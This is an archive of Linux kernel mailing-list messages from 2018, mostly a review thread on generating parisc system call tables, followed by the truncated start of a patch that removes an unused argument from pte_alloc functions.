Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539253538 28405 195.159.176.226 (11 Oct 2018 10:25:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2018 10:25:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 12:25:33 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAY9q-0007Fg-38
	for glk-linux-kernel-4@m.gmane.org; Thu, 11 Oct 2018 12:25:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728449AbeJKRyQ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 11 Oct 2018 13:54:16 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:58011 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726135AbeJKRyQ (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 11 Oct 2018 13:54:16 -0400
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MAgvb-1fyhYi3Uz5-00Bxap; Thu, 11
 Oct 2018 12:27:27 +0200
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MAgvb-1fyhYi3Uz5-00Bxap; Thu, 11
 Oct 2018 12:27:27 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <CALxhOnj1SnTO9Sm-1cAL9B8gEmYrOHr03K6OqF4qqt5Oh0x+4g@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K1:ElKUU9FOrWBYGYHngiVR2fX72HeJuc9qTod9cMD/OSvIQu70pmW
 iU83NZ56sU0ySulWsrT6t+hy8Sz00jKhruWKERX/azSX4+vqFtsrZ+E5o7bnfjoD8Wpcp9s
 kO09vR7S//RQrRzugeudfhfu/Anr5E2Om9vbT5WR3RgHmBzsAaHcdBL66Z4qFkjrtoPvg1y
 PTk7ZVu4p25Fb+zK19pKQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FTBpJB4Aexg=:qNcmcD0FfqqN+Sv8Zo8kLo
 olAK2RouV+zgpQ241rRzNQFe6A5nK0Me2q+DJL0kpMhwnrlO6ib6gLwOvt7K8D5+uLJ5Tt1D4
 FCRIlm3F6YnUkdVa2x5J8A99WfqYKGI7agb+BC1g236+VFoO+RQJ46AnHNjqGX6sxSudUgyR/
 nCWZEYn7R3as5DudVeD2Rljxe2hcItQfTKgrwu8yRQacFVI26tbXxPQ+aHuoG+Ce1U4x9UhzY
 Ku5i4Gq+DyAI1gJtGPllZ3/Vt/kKFnm101rtH0G1uFQ/midBF6Bm/cH7WvQpEgIE66aGhtr2v
 BI2ZdkHAZqv15UOe6fUAwwAanC9SAvpmP8UwX2KviEtFyoqkhwYJJiPXEn5/xLjsfTnnbW96u
 1S6IBJH6bq4p2drbkNeQTp1H8OIjh26FYlBS+0D63rA6E1EUrOrvCZvTZoC6niJkqmQz5OTH7
 F+pHiz69tLbVUr3laszj+OgRK78J0OsEPc73MUVEVN8VLG+ePj6P2FryAobcBMyjLKSUg3cTd
 1BORnPLVhvcj6HlB9fZ6nqU0hYyRE+p4PYl5t+CoZU8IE3UCEpn8k3Py2RqqpyMRCrx+oe1+D
 XeNMakmuLWGdxe+6xV0gTKfWa4QQnxseje0tq3nN/D38qA1tc2GpZDhuZXupYunHJxHiQDF3M
 1SnQ1O7PF7aAp6kHQJxrkZ5CAGEXNBD6rYNOw2ggtw1WNJJ+uB2VDq0FbvBCmcsZ3UdXLhK7O
 rBELQd7YLBYSxTnp7yjq4lTv4SuZsBa8In8wUVyCmPnMrjxw4kyLMQdicfCFN/xdPUxgR8M5 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2896283 gmane.linux.ports.parisc:29124 gmane.linux.kernel.year-2038:3498 gmane.linux.kernel.cross-arch:47615
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2896283>

On 11.10.2018 08:48, Firoz Khan wrote:
> Hi Helge,
> 
> On Thu, 11 Oct 2018 at 11:40, Firoz Khan <firoz.khan@linaro.org> wrote:
>>
>> Hi Helge,
>>
>> On Wed, 10 Oct 2018 at 01:48, Helge Deller <deller@gmx.de> wrote:
>>>
>>> * Firoz Khan <firoz.khan@linaro.org>:
>>>> System call table generation script must be run to generate
>>>> unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
>>>> will have changes which will invokes the script.
>>>>
>>>> This patch will generate unistd_32/64.h and syscall_table_
>>>> 32/64/c32.h files by the syscall table generation script
>>>> invoked by arch/parisc/Makefile and the generated files against
>>>> the removed files will be identical.
>>>>
>>>> The generated uapi header file will be included in uapi/asm/
>>>> unistd_32/64.h and generated system call table support file will
>>>> be included by arch/sparc/kernel/syscall_table_32/64.S file.
>>>>
>>>> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
>>>> ---
>>>>  arch/parisc/Makefile                  |   4 +
>>>>  arch/parisc/include/asm/Kbuild        |   3 +
>>>>  arch/parisc/include/uapi/asm/Kbuild   |   2 +
>>>>  arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
>>>>  arch/parisc/kernel/syscall.S          |  12 +-
>>>>  arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
>>>
>>>
>>> Can we please get rid of those two new files:
>>
>> Yes, we don't need those files some of the architecture and other
>> architecture does have same/similar files. That's why I added below
>> files, so every architecture implementation looks same.
>>
>> I feel it is better to remove these files.
>> Arnd, Do u have any comment on this?
>>
>> Thanks
>> Firoz
>>
>>>
>>>>  arch/parisc/kernel/syscall_table_32.S |  13 +
>>>>  arch/parisc/kernel/syscall_table_64.S |  20 ++
>>>
>>> Both are not needed (at least on parisc) if you apply the following
>>> patch on top of your patch series.
>>> This patch finally fixes the 64-bit kernel on parisc (tested on real
>>> hardware).
>>>
>>> Helge
>>>
>>> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
>>> index 2523b83b88d8..45cddeeb968f 100644
>>> --- a/arch/parisc/kernel/syscall.S
>>> +++ b/arch/parisc/kernel/syscall.S
>>> @@ -923,10 +923,20 @@ ENTRY(lws_table)
>>>  END(lws_table)
>>>         /* End of lws table */
>>>
>>> -#include "syscall_table_32.S"
>>> +#define __SYSCALL(nr, entry, nargs) ASM_ULONG_INSN entry
>>> +
>>> +ENTRY(sys_call_table)
>>> +#if defined(CONFIG_64BIT)
>>> +#include <asm/syscall_table_c32.h>     /* compat syscalls */
>>> +#else
>>> +#include <asm/syscall_table_32.h>      /* 32-bit native syscalls */
>>> +#endif
>>> +END(sys_call_table)
>>> +
>>>  #ifdef CONFIG_64BIT
>>> -#define SYSCALL_TABLE_64BIT
>>> -#include "syscall_table_64.S"
>>> +ENTRY(sys_call_table64)
>>> +#include <asm/syscall_table_64.h>      /* 64-bit native syscalls */
>>> +END(sys_call_table64)
>>>  #endif
>>>
>>>         /*
> 
> I could see a patch (commit 47514da3ac20150cdf764466fbc2010c0fca0163)
> which will perform a compile-check when adding a new syscall. My patches
> will remove this feature. Is that fine?

Yes, removing that feature is OK.
Since everything is then autogenerated I don't expect such bugs.

Helge


From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file generation
Date: Thu, 11 Oct 2018 20:31:00 +0530
Lines: 103
Approved: news@gmane.org
Message-ID: <CALxhOngOXHyWhO6K1Mxxc7ShEJBkVjGj0+5vYBFQeax7cijBmg@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org> <20181009201321.GA28911@ls3530.fritz.box>
 <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com>
 <CALxhOnj1SnTO9Sm-1cAL9B8gEmYrOHr03K6OqF4qqt5Oh0x+4g@mail.gmail.com> <4c659c11-85a3-68da-b7c9-60042d611a72@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539269949 31805 195.159.176.226 (11 Oct 2018 14:59:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2018 14:59:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 16:59:03 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAcQZ-0007CT-7c
	for glk-linux-kernel-4@m.gmane.org; Thu, 11 Oct 2018 16:59:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727735AbeJKW2o (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 11 Oct 2018 18:28:44 -0400
Original-Received: from mail-yb1-f193.google.com ([209.85.219.193]:46721 "EHLO
        mail-yb1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727628AbeJKW2o (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 11 Oct 2018 18:28:44 -0400
Original-Received: by mail-yb1-f193.google.com with SMTP id o8-v6so3707733ybk.13
        for <linux-kernel@vger.kernel.org>; Thu, 11 Oct 2018 08:01:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=IiqNcpJ2+G664thjjDl4FWs3wHrgj8avYs27Rm3w5hw=;
        b=GNS46bm13FldqNUFpNPRDalMCh1dhaJ26yCQdo5+pBWmyEiGIcGIrEjX3tNLnO8yxq
         8ZZx4kKlw4jiv/y7S6kDGfPIizXqrgm6sLn5Q1YuMr+H3Kg2dsk0mlP0PWqg8c+zp9Cg
         rQHqUPNwhukSH5ATQ8SGYLySwsf+MDy6nD6P8=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=IiqNcpJ2+G664thjjDl4FWs3wHrgj8avYs27Rm3w5hw=;
        b=ICfTANq4oMeFovvMQaMW8Nn5pf66cu/21bLy5hl5LRR+ChTH7t+VHFYY+uzx1q7CYL
         WiOnqhzkh7s5XGPkrmDpXsuo3qer6uS0cQvj8I3i/w0y1TevOUKBDNEjx8hjo4Q/azZa
         bMu+wx1wgrVjqE5cbKrJv7/XqjM0KeeOrh0AUdpzunPkrc31ZstTQOhG4YtbTiQ4APvE
         gq24f5wTkvLgGWuQpdELOJtC7ezxv7LUbLlebiM6ZoxytzwotLDZkXYLxY89UJdnd6yH
         vp2x2kpNWxKIldmpOM10YA7GITfGQrxrggoLKYRkHqLXrG0MzWIOxReTJaQAvLebtF0E
         hHZw==
X-Gm-Message-State: ABuFfogZRKVQIGHOaBXOhgWCdXiXQRFrzoxgfkgJkbWVSPRPisKxjQ18
        p1X0pJlTubzMybzOvvuszn2AUIivmfpMruqdeAFtYw==
X-Google-Smtp-Source: ACcGV61W+MmpVdyfmJFgQIyZf9qnJ7gllCMB/VXjlnPZWEstpY9ZuUlFmg19ZG0VfS/r2UAaY0swr0v3MOuFs9m7HfY=
X-Received: by 2002:a25:9709:: with SMTP id d9-v6mr1017315ybo.77.1539270071335;
 Thu, 11 Oct 2018 08:01:11 -0700 (PDT)
In-Reply-To: <4c659c11-85a3-68da-b7c9-60042d611a72@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2896467 gmane.linux.ports.parisc:29125 gmane.linux.kernel.year-2038:3499 gmane.linux.kernel.cross-arch:47618
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2896467>

Hi Helge,

On Thu, 11 Oct 2018 at 15:57, Helge Deller <deller@gmx.de> wrote:
>
> On 11.10.2018 08:48, Firoz Khan wrote:
> > Hi Helge,
> >
> > On Thu, 11 Oct 2018 at 11:40, Firoz Khan <firoz.khan@linaro.org> wrote:
> >>
> >> Hi Helge,
> >>
> >> On Wed, 10 Oct 2018 at 01:48, Helge Deller <deller@gmx.de> wrote:
> >>>
> >>> * Firoz Khan <firoz.khan@linaro.org>:
> >>>> System call table generation script must be run to generate
> >>>> unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
> >>>> will have changes which will invokes the script.
> >>>>
> >>>> This patch will generate unistd_32/64.h and syscall_table_
> >>>> 32/64/c32.h files by the syscall table generation script
> >>>> invoked by arch/parisc/Makefile and the generated files against
> >>>> the removed files will be identical.
> >>>>
> >>>> The generated uapi header file will be included in uapi/asm/
> >>>> unistd_32/64.h and generated system call table support file will
> >>>> be included by arch/sparc/kernel/syscall_table_32/64.S file.
> >>>>
> >>>> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> >>>> ---
> >>>>  arch/parisc/Makefile                  |   4 +
> >>>>  arch/parisc/include/asm/Kbuild        |   3 +
> >>>>  arch/parisc/include/uapi/asm/Kbuild   |   2 +
> >>>>  arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
> >>>>  arch/parisc/kernel/syscall.S          |  12 +-
> >>>>  arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
> >>>
> >>>
> >>> Can we please get rid of those two new files:
> >>
> >> Yes, we don't need those files some of the architecture and other
> >> architecture does have same/similar files. That's why I added below
> >> files, so every architecture implementation looks same.
> >>
> >> I feel it is better to remove these files.
> >> Arnd, Do u have any comment on this?
> >>
> >> Thanks
> >> Firoz
> >>
> >>>
> >>>>  arch/parisc/kernel/syscall_table_32.S |  13 +
> >>>>  arch/parisc/kernel/syscall_table_64.S |  20 ++
> >>>
> >>> Both are not needed (at least on parisc) if you apply the following
> >>> patch on top of your patch series.
> >>> This patch finally fixes the 64-bit kernel on parisc (tested on real
> >>> hardware).
> >>>
> >>> Helge
> >>>
> >>> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> >>> index 2523b83b88d8..45cddeeb968f 100644
> >>> --- a/arch/parisc/kernel/syscall.S
> >>> +++ b/arch/parisc/kernel/syscall.S
> >>> @@ -923,10 +923,20 @@ ENTRY(lws_table)
> >>>  END(lws_table)
> >>>         /* End of lws table */
> >>>
> >>> -#include "syscall_table_32.S"
> >>> +#define __SYSCALL(nr, entry, nargs) ASM_ULONG_INSN entry
> >>> +
> >>> +ENTRY(sys_call_table)
> >>> +#if defined(CONFIG_64BIT)
> >>> +#include <asm/syscall_table_c32.h>     /* compat syscalls */
> >>> +#else
> >>> +#include <asm/syscall_table_32.h>      /* 32-bit native syscalls */
> >>> +#endif
> >>> +END(sys_call_table)
> >>> +
> >>>  #ifdef CONFIG_64BIT
> >>> -#define SYSCALL_TABLE_64BIT
> >>> -#include "syscall_table_64.S"
> >>> +ENTRY(sys_call_table64)
> >>> +#include <asm/syscall_table_64.h>      /* 64-bit native syscalls */
> >>> +END(sys_call_table64)
> >>>  #endif
> >>>
> >>>         /*
> >
> > I could see a patch (commit 47514da3ac20150cdf764466fbc2010c0fca0163)
> > which will perform a compile-check when adding a new syscall. My patches
> > will remove this feature. Is that fine?
>
> Yes, removing that feature is OK.
> Since everything is then autogenerated I don't expect such bugs.

Sure, thanks for your reply.

Firoz

>
> Helge


From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Thu, 11 Oct 2018 18:37:55 -0700
Lines: 1091
Approved: news@gmane.org
Message-ID: <20181012013756.11285-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539308214 27862 195.159.176.226 (12 Oct 2018 01:36:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 01:36:54 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, sparclinux@vger.kernel.org,
 linux-xtensa@linux-xtensa.org, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@li
To: linux-kernel@vger.kernel.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 03:36:45 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gAmNf-00071l-6O
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 03:36:43 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:Message-Id:Date:Subject:To
	:From:Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:
	Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:
	List-Owner; bh=L7Gb1Uzq33P6NCvllMbogMhdEVkGshTSp7ljcbL+yvs=; b=hca8b5njRWdGYy
	HqjC1V7Lv7v8z+vGPKEyQ4gI6LcqFT6MGyQ++T76SMbjos+Kmknzk9rjmrNqKSGdVlod5gPgkw/m9
	fjPIVJ8g7l5kMdck78sEERDkUTUbq+hhtSu54vXJPcNRJ7QGEUBFrYYD2+v1WbNPGc1dB5zOoU4Mw
	GEgd/nL52qf2LrRZjCxSnZCTqOEEeXyPeeRoQDJ6CoiMHkG0ZQ+SjQgLmqEXpTcozGIQ8OxOo39jh
	izE0qvx5Gj6UuCDO7VN3Pwuszw7w/za1TzlvVi2rUbzXRKMAJ5CVJIFgEbyMi83iLpDbmDivRuh1n
	V2x0KVW7y0p4DmnoRr2w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAmPh-0000ly-R3; Fri, 12 Oct 2018 01:38:49 +0000
Original-Received: from mail-pf1-x441.google.com ([2607:f8b0:4864:20::441])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAmPU-0000fW-Vf
 for linux-riscv@lists.infradead.org; Fri, 12 Oct 2018 01:38:45 +0000
Original-Received: by mail-pf1-x441.google.com with SMTP id r9-v6so5309020pff.11
 for <linux-riscv@lists.infradead.org>; Thu, 11 Oct 2018 18:38:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=NovYJtYxRx+HVHDVMuxiwf8uX38Ln23nloNir9qDRc8=;
 b=xb+JSODAr5akgHRRly/QpTzkhpq3Qekm9vf5zS+XtLkDNcWxqwyYkixThzzlbaK8yi
 KiHHIGHQHafaZfcWvNO4sOkYL9ocUX2LLwqkS11zyL/SVNvcrg751PpU4l1UTVEBD55y
 nokymgphAb0kMbMjqhwbB9QY1c4188YqDsIF8=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=NovYJtYxRx+HVHDVMuxiwf8uX38Ln23nloNir9qDRc8=;
 b=SUGH3wtNIufKUK8124qX0E0ueRpqKR2rbKr8L+fRTTpFi7yMrwuYcGp08ZBIfoqsk+
 Inu+CXMyXWUkY7FRH03uzGWZYBv5F86rqWw9ixWvtQm33ck7ZqqUCKA2r2wtznQbT/8q
 7RKUu0tTbO+joB87PEADG3jl+SpizSuIcWxtnvHw/ykoEhiC9zFwCdgy4AByyYb871dX
 b4MmzpoSaTVuyb2QdmyF5usVLgjeBsKscq4wBtgccevnMbKJnGqG+GUQv2bApny/3n/N
 FBSuD7Q8l4ao356sV7JR0VZ72OnE9rBJcuFxi4e+Dai/i31Z5tTxP4j0K4shwSdI03e+
 OjbQ==
X-Gm-Message-State: ABuFfoj0+rKzQevXnV1k/sE7qZO+iCKAV5v10FWKRju3dGU6HRJnkoqR
 VbACpZZ9vkOkts4T/g0Viv9LQA==
X-Google-Smtp-Source: ACcGV63nI2//TWXBNCCPvh/LN1tgmuxMOHocVudyC00j/Ufx8mKqv1CjCS3fWzbkwSkq2xpDXmdA2Q==
X-Received: by 2002:a62:da03:: with SMTP id c3-v6mr4083142pfh.52.1539308303536; 
 Thu, 11 Oct 2018 18:38:23 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id a14-v6sm31193393pgi.75.2018.10.11.18.38.20
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 11 Oct 2018 18:38:21 -0700 (PDT)
X-Mailer: git-send-email 2.19.0.605.g01d371f741-goog
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181011_183837_041555_1D9A1D6F 
X-CRM114-Status: GOOD (  16.07  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:441 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1032 gmane.linux.kernel:2897164 gmane.linux.ports.mips.general:67022 gmane.linux.ports.ia64:29364 gmane.linux.ports.sh.devel:57614 gmane.linux.kernel.mm:205089 gmane.linux.ports.sparc:28535 gmane.linux.ports.hexagon:1889 gmane.comp.emulators.kvm.arm.devel:19386 gmane.linux.kernel.arc:4514 gmane.linux.ports.arm.kernel:679245 gmane.linux.ports.parisc:29126 gmane.linux.ports.alpha:5289 gmane.linux.ports.ppc64.devel:164119
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1032>

This series speeds up mremap(2) syscall by copying page tables at the
PMD level even for non-THP systems. There is concern that the extra
'address' argument that mremap passes to pte_alloc may do something
subtle architecture related in the future, that makes the scheme not
work.  Also we find that there is no point in passing the 'address' to
pte_alloc since its unused.

This patch therefore removes this argument tree-wide resulting in a nice
negative diff as well. Also ensuring along the way that the architecture
